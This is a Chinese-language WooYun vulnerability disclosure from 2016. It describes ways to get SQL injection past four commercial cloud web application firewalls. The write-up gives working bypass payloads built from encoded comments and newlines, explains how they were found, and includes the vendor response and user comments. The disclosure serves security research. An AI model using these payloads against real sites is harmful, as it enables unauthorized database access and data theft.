当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0195216

漏洞标题:Bypass百度云加速/阿里云盾/腾讯云安全/创宇加速乐SQL注入防御(附思路)

相关厂商:cncert国家互联网应急中心

漏洞作者: 从容

提交时间:2016-04-12 15:00

修复时间:2016-07-14 17:20

公开时间:2016-07-14 17:20

漏洞类型:非授权访问/认证绕过

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-12: 细节已通知厂商并且等待厂商处理中
2016-04-15: 厂商已经确认,细节仅向厂商公开
2016-04-18: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-06-09: 细节向核心白帽子及相关领域专家公开
2016-06-19: 细节向普通白帽子公开
2016-06-29: 细节向实习白帽子公开
2016-07-14: 细节向公众公开

简要描述:

BAT+K 让我们红尘作伴 活的潇潇洒洒,策马奔腾 共享人世繁华。
两种姿势,对应着百度云加速+阿里云盾、腾讯云安全+创宇加速乐。(附思路)

详细说明:

上一发http://**.**.**.**/bugs/wooyun-2010-0192841,"基本上"是利用%23%0a进行bypass,没错,都修复了。
但是修复的并不彻底。感觉很死心眼啊,#注释拦截掉了,--注释不拦截。23333
百度云加速+阿里云盾:
--和换行url转码后为%2d%2d%0a。
百度云加速更有意思,%23%0a拦截了,%23%0d%0a又可以绕过了= =。This is the china waf!

53ertasd.png


腾讯云安全+创宇加速乐:
思路反馈给我的姿势。(后面说)

Screen Shot 2016-04-11 at 6.21.44 PM.png

漏洞证明:

0x01百度云加速:

5要.png


Bypass Payload:

1 union%23%0d%0aselect username from users%23
1 union%2d%2d%0aselect username from users%23
1 union%2d%2d%0d%0aselect username from users%23


Screen Shot 2016-04-11 at 10.18.35 PM.png


0x02阿里云盾:

5terads.png


Bypass Payload:

1 union%2d%2d%0aselect username from users%23
1 union%2d%2d%0d%0aselect username from users%23


Screen Shot 2016-04-11 at 6.16.32 PM.png


0x03腾讯云安全:

54yregd.png


绕过思路:
首先看看腾讯云安全怎么检测sql注入的,怎么匹配关键字会被拦截,怎么匹配不会?
union+select拦截。
select+from拦截。
union+from不拦截。
那么关键的点就是绕过这个select,这种经过推理后就会省不少事。
还有就是,Bypass sql注入防御通俗点理解就是 第一不被waf检测到,第二sql能正常执行。
select不行就找和select相同类型的,比如:

select all
select distinct
select distinctrow


既然这些都可以,再想想使用这样的语句怎么不被检测到,达到天衣无缝的效果?
select与all中间肯定不能用普通的/**/这种代替空格,还是会被视为是union+select。
select all可以这么表达/*!select%20all*/,很明显不可行。还是属于union+select。
select all还可以这么表达/*!12345select all*/,腾讯云也会认为是union+select。
尝试了下/*!*/中间也可以使用%0a换行。

43terfsd.png


/*!12345%0aselect%20all*/还是会被拦截,这就说明腾讯云在语法检测的时候会忽略掉数字后面的%0a换行,虽然属于union+12342select,但简单的数字和关键字拆分再识别还是做得到。
再测试/*!12345select%0aall*/,结果就合乎推理了,根据测试知道腾讯云安全会忽略掉%0a换行,这就等于union+12345selectall,不会被检测到。(忽略掉%0a换行为了过滤反而可以用来加以利用进行Bypass)

Screen Shot 2016-04-11 at 6.21.44 PM.png


Screen Shot 2016-04-11 at 10.43.18 PM.png


可能会问,推理的依据并不能真正意义上证明忽略掉了%0a啊?
当然要证明下啊,/*!12345%0aselect%0aall*/就被拦截了,说明刚开始检测到12345%0aselect就不再检测后方的了,union+12345select就已经可以拦截掉了。

5reasd.png


还可能会问,既然忽略掉了%0a,那么/*!select%0aall*/是不是也可以啊,然而并不行。
合理的推理很有必要。
Bypass Payload:

1' union/*!50000select%0aall*/username from users%23
1' union/*!50000select%0adistinct*/username from users%23
1' union/*!50000select%0adistinctrow*/username from users%23


测试案例:

**.**.**.**/MCIR/sqlol/select.php


37CEC61A-DC6D-4DC4-9D39-A76BF8B4BD3B.png


Bypass:

Screen Shot 2016-04-11 at 1.13.49 PM.png


0x04创宇加速乐:
和腾讯云安全的Bypass方式一样。

rtgedfx.png


Bypass:

5ergd.png

修复方案:

修复方案无非就是过滤,规则越臃肿复杂就越容易绕过。
对于百度云加速和阿里云盾修复别这么死心眼啊。
想法第一,实现第二。有好想法尝试后即使不能bypass,不一定是因为waf聪明,可能是"万事俱备,只欠东风"的问题。
Bypass多数实现很简单,关键是怎么能实现和思考的过程,Very Interesting。
这只是个开始。

版权声明:转载请注明来源 从容@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-15 17:14

厂商回复:

CNVD未直接复现所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-12 15:08 | Fnut ( 普通白帽子 | Rank:112 漏洞数:28 | 大王叫我来巡山,巡完南山巡北山)

    666,前排瓜子可乐

  2. 2016-04-12 15:10 | 安全狗(乌云厂商)

    妖兽啦....

  3. 2016-04-12 15:12 | Sword ( 路人 | Rank:16 漏洞数:11 | 求大牛带飞)

    看楼上厂商要疯了

  4. 2016-04-12 15:15 | Taro ( 普通白帽子 | Rank:392 漏洞数:98 | 走向最远的方向,哪怕前路迷茫;抱着最大的...)

    厂商要加班了

  5. 2016-04-12 15:20 | 高小厨 认证白帽子 ( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子!)

    哈哈哈,最后一个绕过你是故意的

  6. 2016-04-12 15:20 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 别摸我,我怕热…… | Tr3jer@Gmail.com ...)

    @高小厨 被你发现了哈哈

  7. 2016-04-12 15:24 | 無名老人 ( 路人 | Rank:19 漏洞数:4 | 干过开发,日过渗透,江湖人称: 少女杀手)
  8. 2016-04-12 15:25 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 别摸我,我怕热…… | Tr3jer@Gmail.com ...)

    @無名老人 孩子,那叫"bypass sql注入防御"么?

  9. 2016-04-12 15:40 | 欧冠狂魔阿森纳 ( 实习白帽子 | Rank:87 漏洞数:37 | 静静的看你们装逼)

    每天看大神们的标题都是一种享受

  10. 2016-04-12 15:52 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )

    妖兽啦

  11. 2016-04-12 16:29 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号:233sec 不定期分享各种漏洞思...)

    夭寿啦。。又要加班啦

  12. 2016-04-12 16:47 | waht000 ( 实习白帽子 | Rank:37 漏洞数:14 | 我还是太菜。。。)

    妖兽啦,安全狗肯定在想为什么没有我

  13. 2016-04-12 16:57 | _Thorns ( 普通白帽子 | Rank:1875 漏洞数:289 | 以大多数人的努力程度之低,根本轮不到去拼...)

    喝营养快线了。

  14. 2016-04-12 20:02 | 懒懒滴1994 ( 实习白帽子 | Rank:65 漏洞数:25 | 偶尔是个乖乖仔,不作恶,世界从来没有安全...)

    每天看大神们的标题都是一种享受

  15. 2016-04-15 23:23 | 凌晨G度 ( 路人 | Rank:20 漏洞数:3 | 充实的麦穗都是低着头,倒是那些空壳却昂着...)

    每天看大神们的标题都是一种享受